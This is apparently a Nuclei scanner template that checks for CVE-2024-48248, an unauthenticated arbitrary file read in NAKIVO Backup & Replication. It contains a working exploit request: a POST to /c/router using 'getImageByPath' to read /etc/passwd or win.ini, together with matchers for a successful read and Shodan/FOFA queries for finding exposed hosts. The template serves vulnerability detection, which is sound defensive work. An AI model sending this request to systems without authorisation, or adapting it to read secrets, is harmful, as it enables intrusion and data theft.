NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read

id: CVE-2024-48248

info:
  name: NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.
  impact: |
    Unauthenticated attackers can read arbitrary files from the NAKIVO Backup & Replication server.
  remediation: |
    Update NAKIVO Backup & Replication to a version that patches CVE-2024-48248.
  reference:
    - https://labs.watchtowr.com/the-best-security-is-when-we-all-agree-to-keep-everything-secret-except-the-secrets-nakivo-backup-replication-cve-2024-48248/
  classification:
    epss-score: 0.94356
    epss-percentile: 0.99852
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"NAKIVO"
    fofa-query: title="NAKIVO"
  tags: cve,cve2024,nakivo,backup,lfi,kev,vkev,vuln

variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /c/router HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"action": "STPreLoadManagement", "data": ["{{path}}"], "method": "getImageByPath", "sid": "", "tid": "{{string}}", "type": "{{string}}"}

    payloads:
      path:
        - /etc/passwd
        - C:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: linux
        dsl:
          - "regex('114,111,111,116,58,.*,58,48,58,48,58', body)"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and

      - type: dsl
        name: windows
        dsl:
          - "contains(body, '59,32,102,111,114')"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and